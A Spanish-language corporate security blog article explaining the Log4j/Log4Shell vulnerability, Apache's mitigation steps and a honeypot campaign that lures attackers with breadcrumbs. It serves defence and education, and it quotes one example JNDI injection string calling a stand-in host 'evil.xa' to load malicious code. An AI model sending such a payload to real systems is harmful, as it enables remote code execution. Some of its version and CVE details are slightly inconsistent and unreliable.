La lucha contra Log4j

Jen Easterly, directora de la Agencia de Seguridad de Infraestructura y Ciberseguridad de Estados Unidos, afirmó en una entrevista concedida al canal de televisión CNBC que “la vulnerabilidad Log4j es la más grave que he visto en todos mis años de carrera”. Pero ¿qué es Log4j?

Log4j es una librería de java de código abierto desarrollada por la Apache Software Foundation y ampliamente utilizada en múltiples aplicaciones y servicios. Algunos ejemplos son Twitter, Amazon o Microsoft. Esta librería permite a los desarrolladores escribir mensajes de registro con el fin de dejar constancia de una determinada operación en tiempo de ejecución.

El pasado 9 de diciembre, prácticamente toda la comunidad de ciberseguridad se alertó tras un error informático en un código con bastante relevancia. A la mañana siguiente, el 90% de las principales empresas de software ya estaban trabajando en ello ya que, al tratarse de una librería presente en la mayoría de las organizaciones a nivel mundial, el alcance de la vulnerabilidad era extremadamente alto.

Un proceso rápido pero complejo

Esta nueva vulnerabilidad (CVE-2021-44228) ha desatado una cadena de todo tipo de intentos de ciberdelitos. En sólo 3 días se registraron más de 60 variantes de ataques.

Las versiones de Log4j anteriores a 2.16.0 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador LDAP JNDI.

Según la guía de seguridad Log4j de Apache: Apache Log4j2 <= 2.14.1, las funciones JNDI utilizadas en la configuración, los mensajes de registro y los parámetros no protegen contra LDAP controlado por atacantes y otros puntos finales relacionados con JDNI. Un atacante puede controlar mensajes de registro o parámetros de mensajes de registro pueden ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de la búsqueda de mensajes está habilitada. Desde Log4j 2.16.0, este comportamiento se ha desactivado de forma predeterminada.

En el siguiente gráfico se puede ver cómo funciona esquemáticamente la vulnerabilidad Log4j:

Es decir, un servidor que use la librería java vulnerable recibe una petición en alguno de los campos que necesita tratar (User – Agent, para este caso concreto), analiza la petición tomando el contenido: (${variable} => ${jndi:ldap://evil.xa/x}), y ya está Log4j dentro. Lo siguiente es, que se ejecuta la query ldap hacia el destino que es “evil.xa” y este le respondería con la clase maliciosa ejecutando el código que tiene.

Se trata de un proceso con el que hay que tener cuidado, ya que abre diferentes caminos que pueden dar lugar a ataques malware que usen esta vulnerabilidad.

De hecho, la vulnerabilidad Log4j ha sido identificada para distribución de malware y ransomware, concretamente, en ataques de cifrado y robo de datos con los chantajes asociados, incluso algunos países están evolucionando esos fines hacia robo de tecnología e información confidencial. La explotación de esta vulnerabilidad es lo que se ha bautizado como Log4Shell.
 

Herramientas de combate contra Log4j

Existen ciertas medidas necesarias para protegerse contra posibles ataques.

En primer lugar, con el fin de optimizar la posterior protección y mitigación de los activos damnificados, se debe detectar qué soluciones del sistema hacen uso de esta librería y obtener aquellas que hagan uso de una de las versiones del rango vulnerable. Este proceso puede realizarse de forma automática con ayuda de alguna herramienta de escaneo de vulnerabilidades o ficheros que contengan el nombre Log4j2. Por ejemplo, si el código de dichas aplicaciones se encuentra en un gestor de repositorios, este puede ser analizado con alguna herramienta de análisis de repositorios que busque la presencia del componente Log4j en los mismos.

Una vez concluidas las soluciones de la compañía involucradas en esta vulnerabilidad, se deberá bloquear por precaución tanto el tráfico saliente como entrante a Internet, para evitar así una posible explotación de la vulnerabilidad hasta que se proceda a su mitigación. Además del aislamiento del sistema, es conveniente realizar análisis de registros de red de estas aplicaciones en busca de indicativos, IoCs, que den indicios de que se ha producido un ataque. Existen otras alternativas posibles como primeras acciones a tomar, como por ejemplo: la opción de deshabilitar directamente la aplicación que contenga la librería, aunque podría causar impactos operacionales y desencadenar otra serie de inconvenientes.

En siguiente punto se centra en la mitigación principal. Esta se logra con la actualización de esta librería a la versión 2.15.0. Sin embargo, puede darse el caso en el que la actualización de la versión del componente Log4j no sea posible.

Las acciones de mitigación indicadas por Apache son:

• Para versiones >=2.10.: establecer la propiedad del sistema log4j2.formatMsgNoLookups o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS a True.
• Para versiones >=2.7 y <=2.10.0.: modificar en los archivos de configuración de registro el patrón de registro %m por %m[nolookups]
• Para versiones >=2.0-beta9 y <=2.10.0.: eliminar la case de JndiLookup del archivo log4j-core.jar.

Por último, desde el equipo de Active Cyberdefense (encargado de desplegar señuelos con distintas tipologías y grado de personalización con el fin de identificar atacantes tanto externos como internos en la compañía) surgió la idea de plantear una campaña basada en esta vulnerabilidad. Su objetivo: dar a conocer la finalidad y las técnicas empleadas por los atacantes una vez que consiguen acceder en un sistema vulnerable a Log4j.

Esta consiste en diseñar una infraestructura que atraiga a los atacantes enfocados en intentar explotar la vulnerabilidad, detectada en la librería que da nombre a la campaña (CVE-2021-45105).

Para ello, se diseña un servidor RDP accesible desde Internet, que nos permitirá acceder a un servidor web ficticio con libre temática, en este caso, un portal de On-Boarding para nuevas incorporaciones. Dicho portal dispondrá de un formulario vulnerable a Log4j.

Los atacantes serán conducidos a dicha arquitectura a través de unos breadcrumbs, es decir, señuelos publicados en lugares donde estos buscan información sobre sus víctimas, y que además aportan credibilidad al entorno simulado, de manera que los atacantes al interactuar con dicha arquitectura crean estar en un entorno legítimo. Estos breadcrumbs consistirán en:

- Certificado SSL autofirmado indexado por Shodan o Censys.

- Documentación de acceso al servidor RDP en GitHub, que especifica que se puede acceder a un portal de On-Boarding vulnerable a Log4j.

- Publicación en PasteBin o aplicaciones similares con información para acceder al servidor RDP, en la que se especifica también que hay un portal web detrás de este servidor, que utiliza esta librería vulnerable.

La arquitectura sería similar a lo que se puede ver a continuación:

Esta campaña tendrá duración de un año, y sería recomendable desplegarla lo antes posible, ya que sigue habiendo atacantes intentando buscar sistemas que utilizan dicha librería.
 

Autora: Rawan Nazmi-Issa, manager Cyber Risk